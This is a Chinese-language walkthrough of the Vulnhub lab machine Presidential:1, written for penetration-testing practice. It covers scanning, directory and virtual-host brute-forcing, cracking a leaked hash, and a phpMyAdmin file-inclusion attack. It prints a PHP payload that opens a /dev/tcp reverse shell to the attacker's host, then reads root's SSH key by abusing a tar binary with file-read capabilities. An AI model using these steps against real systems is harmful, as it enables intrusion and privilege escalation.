系列:Presidential(此系列共1台)
发布日期:2020年06月28日
提示::只用爆破拿下靶机
难度:中
目标:取得 root 权限 + 2 Flag
攻击方法:
靶机地址:https://www.vulnhub.com/entry/presidential-1,500/
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.56.0/24
nmap -p- 192.168.56.122
nmap -p80,2082 -A 192.168.56.122

开局就是一个静态页面,找不到什么有价值的东西,直接目录爆破走一波。

目录爆破只发现了一个有点价值的信息,拿着这个密码尝试SSH登录,发现还不能用,靶机需要SSH密钥登录。
dirsearch -u http://192.168.56.122/ --full-url -R 2 -x 404 --exclude-sizes=0B
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";


在访问网站首页的时候,有一个邮箱,绑定hosts地址发现还是一无所获,到这种时候,对于需要绑定域名的靶机来说,还能考虑到的一种攻击方向就是子域名爆破了。


gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists-2022.2/Discovery/Web-Content/directory-list-2.3-medium.txt| grep "Status: 200"

再绑定一个hosts文件,访问站点,发现了phpmyadmin

登录的时候有个小插曲,firefox登录不上去(清除缓存无果),换用谷歌就好了


能看到一个账号密码:$2y
12
12
12d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
经过漫长的爆破后,得知密码是:Stella


访问/README目录(是否登录都不影响查询结果)

首先尝试了RCE代码,失败了,只能尝试文件包含漏洞了。

经过查询代码内容得知,第一个文本是针对windows系统的,第二个文本是针对linux系统的,查询内容发现,给出的的POC,那就先验证一下漏洞吧。

select ''
注意:使用POC中的sessions,利用失败。网上查询得知需要把POC中的sessions修改为session
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_4e5evekhvdi3kvh45v1o3ec09es7mjro


根据POC,改写出反弹shell的代码:
select '& /dev/tcp/192.168.56.102/4444 0>&1");exit;?>'

kali开启监听,然后重新反弹shell,但是很蛋疼,没有反弹成功
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_4e5evekhvdi3kvh45v1o3ec09es7mjro

由于这个利用姿势主要是通过cookie实施的,那就退出账号,重新来一遍试试。结果使用新的cookie成功反弹shell。


首先发现靶机的内核版本很低,但是内核提权失败了。先常规的信息收集吧,首先发现了靶机存在admin用户,

得到一个提示,大概意思就是让我们使用一个新颖压缩的命令,那是什么命令?

常规提权和脚本提权都失败了,最后尝试了一下Capabilities提权,一种类似suid提权的方法。
搜索发现,看起来tarS就是提示信息中的那个新颖的压缩命令,它可以不受限制的搜索和读取靶机上的任何文件。
/usr/sbin/getcap -r / 2>/dev/null

检索笔记发现打靶CONNECT THE DOTS: 1有这种攻击姿势的实战记录,当时的思路比较简单,就是打包Flag2,然后解压到可读目录
tarS -zcvf /tmp/root.tar.gz /root
cd /tmp
tar -zxvf ./root.tar.gz
cat root-final-flag.txt

上面虽然可以读取到Flag2,但是毕竟没有提权成功,要通过读取文件提权的话,除了读取/etc/shadow进行爆破(root的密码爆破不出来),还可以通过SSH。
由于我打包了root家里所有的文件,检查发现了.ssh隐藏目录,然后顺利的通过SSH完成本机登录,拿到root权限。
ssh -i id_rsa root@localhost -p 2080

